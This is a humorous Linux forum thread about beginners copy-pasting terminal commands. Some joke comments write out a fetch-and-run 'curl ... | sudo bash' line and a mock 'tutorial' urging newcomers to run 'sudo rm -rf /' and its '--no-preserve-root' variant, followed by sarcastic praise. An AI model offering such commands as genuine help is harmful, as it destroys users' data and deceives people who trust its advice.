this post was submitted on 09 Jul 2023
1239 points (97.3% liked)

linuxmemes

21169 readers
802 users here now

Hint: :q!


Sister communities:


Community rules (click to expand)

1. Follow the site-wide rules

2. Be civil
  • Understand the difference between a joke and an insult.
  • Do not harrass or attack members of the community for any reason.
  • Leave remarks of "peasantry" to the PCMR community. If you dislike an OS/service/application, attack the thing you dislike, not the individuals who use it. Some people may not have a choice.
  • Bigotry will not be tolerated.
  • These rules are somewhat loosened when the subject is a public figure. Still, do not attack their person or incite harrassment.
  • 3. Post Linux-related content
  • Including Unix and BSD.
  • Non-Linux content is acceptable as long as it makes a reference to Linux. For example, the poorly made mockery of sudo in Windows.
  • No porn. Even if you watch it on a Linux machine.
  • 4. No recent reposts
  • Everybody uses Arch btw, can't quit Vim, and wants to interject for a moment. You can stop now.

  • Please report posts and comments that break these rules!

    founded 1 year ago
    MODERATORS
     
    top 50 comments
    sorted by: hot top controversial new old
    [–] [email protected] 69 points 1 year ago (3 children)

    Nothing better than curl https://totally-legit-installer.com/script | sudo bash

    [–] [email protected] 7 points 1 year ago

    No hash, get cash!

    [–] [email protected] 6 points 1 year ago

    I usually get an output saying my distro isn't supported. So I have to download and edit the script then it can bypass checking os-release or something like that.

    load more comments (1 replies)
    [–] [email protected] 56 points 1 year ago* (last edited 1 year ago) (6 children)

    I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.

    It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

    Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

    sudo rm -rf /

    Type your password when prompted and you're golden. No more linux issues ever again.

    [–] [email protected] 28 points 1 year ago* (last edited 1 year ago) (1 children)

    Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,

    I also find that adding --verbose adds more things like commentary and extras that really help

    So, run sudo rm -rf --no-preserve-root --verbose

    /s

    [–] [email protected] 17 points 1 year ago* (last edited 1 year ago)

    All good points.

    That's why I love communities like these, there are always people willing to expound upon other's solutions with solid additional information.

    It's what makes forums like these such goldmines of information when you're first cutting your teeth learning new things.

    Upvoted.

    [–] [email protected] 20 points 1 year ago* (last edited 1 year ago) (1 children)

    I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I've ever seen. Now I wonder why other OSes don't do that

    [–] [email protected] 12 points 1 year ago* (last edited 1 year ago) (4 children)

    It's great, isn't it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system's using now that you've run the tutorials. It's almost like nothing's going on in the background at all.

    This is the reason that BASH will always be better than Powershell, imho.

    load more comments (4 replies)
    [–] [email protected] 18 points 1 year ago

    Done and I must say, as stated by the comments above - my CPU and RAM usage are at an all time low. Other OSes don't hold shit against Linux now.

    [–] [email protected] 12 points 1 year ago (3 children)

    I told someone to do that way back when. He wisely tried it on a computer at Best Buy (a Mac) rather than his own. I respected his thinking ahead.

    load more comments (3 replies)
    [–] [email protected] 6 points 1 year ago
    [–] [email protected] 5 points 1 year ago

    Guy's really feeling helpful today

    [–] [email protected] 38 points 1 year ago (2 children)

    That’s probably how most of us started, but then you start getting familiar with things…

    [–] [email protected] 45 points 1 year ago (2 children)

    And that's when you really get good at breaking shit.

    [–] [email protected] 29 points 1 year ago (2 children)

    In my early days I would reinstall the whole OS several times a week when I would fuck things up too much.

    [–] [email protected] 13 points 1 year ago (2 children)

    Ah, the good old days of installing some obscure distro just to reinstall from scratch a week after 👌🏼

    [–] [email protected] 6 points 1 year ago

    Oh yeah! I tried so many…hahaha

    [–] [email protected] 6 points 1 year ago* (last edited 1 year ago) (2 children)

    I'm still curious about stuff I didn't try. Like NixOS. Even tough I have a perfectly configured and problem free arch install which could take hours to replicate, I still consider if I should try it.

    load more comments (2 replies)
    load more comments (1 replies)
    load more comments (1 replies)
    [–] [email protected] 8 points 1 year ago (1 children)

    That's true. I'm no expert, I need to google everything - but after years of reading / coping/ pasting similar things, I started to understand how some things work.

    load more comments (1 replies)
    [–] [email protected] 31 points 1 year ago (2 children)

    I actually take the time to type everything out, but I still have no idea what I’m doing.

    [–] [email protected] 8 points 1 year ago (2 children)

    You know, my students do this. It's freaking hilarious when they inevitably have a typo and get an error. I chuckle every time. 😄

    [–] [email protected] 18 points 1 year ago (1 children)

    it is actually a good thing to do. helps in learning stuff faster. it's good to hear that there's still people who don't mindlessly copy and paste

    load more comments (1 replies)
    [–] [email protected] 10 points 1 year ago (3 children)

    Omg I tell people at least 3 times a day about bash's tab completion. Cli proficiency should be taught before programming

    load more comments (3 replies)
    load more comments (1 replies)
    [–] [email protected] 22 points 1 year ago (1 children)

    People underestimate how important being able to google answers on the internet has been for the take-up of linux and many other things. Most of us would be lost without Google.

    [–] [email protected] 15 points 1 year ago (1 children)

    Aaand the arch wiki

    Aaand stack overflow

    Aaand the Gentoo wiki

    Aaand random Linux forums :P

    Aaand very occasionally the accessible source code for when you're really stuck and have no other choice but to sell your soul in exchange for a glimmer of understanding after peering into the abyss.

    load more comments (1 replies)
    [–] [email protected] 17 points 1 year ago (1 children)

    Not just Linux, I do this all the time when 'writing' R or Python scripts for work. Then I spend the next 2 hours debugging a missing comma.

    load more comments (1 replies)
    [–] [email protected] 17 points 1 year ago (1 children)

    For anyone who needs it. Try out:

    curl cheat.sh/
    
    [–] [email protected] 11 points 1 year ago (1 children)

    OP bout to copy/paste this without knowing what it does lol.

    [–] [email protected] 8 points 1 year ago (5 children)
    load more comments (5 replies)
    [–] [email protected] 13 points 1 year ago

    You move past this stage once you start actually depending on the system. Then you find imperfect answers to some problem and have to adapt them to your system. Then you start learning.

    [–] [email protected] 11 points 1 year ago (3 children)

    Years ago I started out like this, then gradually started reading and understanding the stuff.

    load more comments (3 replies)
    [–] [email protected] 10 points 1 year ago (1 children)
    load more comments (1 replies)
    [–] [email protected] 10 points 1 year ago (1 children)

    I don't think that's a terrible way of getting started. Your subconscious will do the rest at some point, unless you're really not interested at all (which isn't a problem either). :)

    [–] [email protected] 12 points 1 year ago (1 children)

    The real learning happens when you copy and paste something you shouldn't and bork your system. That's basically how I started.

    [–] [email protected] 7 points 1 year ago (5 children)

    Me learning anything ever. Troubleshooting is the real learning phase.

    load more comments (5 replies)
    [–] [email protected] 9 points 1 year ago (3 children)
    load more comments (3 replies)
    [–] [email protected] 8 points 1 year ago

    I think this is how most people start but you gotta start somewhere right? This site helped me a lot: https://explainshell.com

    [–] [email protected] 5 points 1 year ago

    There is a big issue in the Linux community where people are very concerned with the OS itself and not what people are actually doing with it. So if copy pasting is working and you are getting whatever it is you want don’ done, done, then no one should care how you got there.

    [–] [email protected] 5 points 1 year ago

    copy and pasted random login info

    "Why isn't this working?"

    [–] [email protected] 5 points 1 year ago (1 children)

    All hail the arch Linux wiki!

    load more comments (1 replies)
    [–] [email protected] 5 points 1 year ago

    ChatGPT has actually been invaluable for switching to Linux for this reason. I only broke my system after I tried finding my own solutions to problems online and copied that code.

    load more comments
    view more: next ›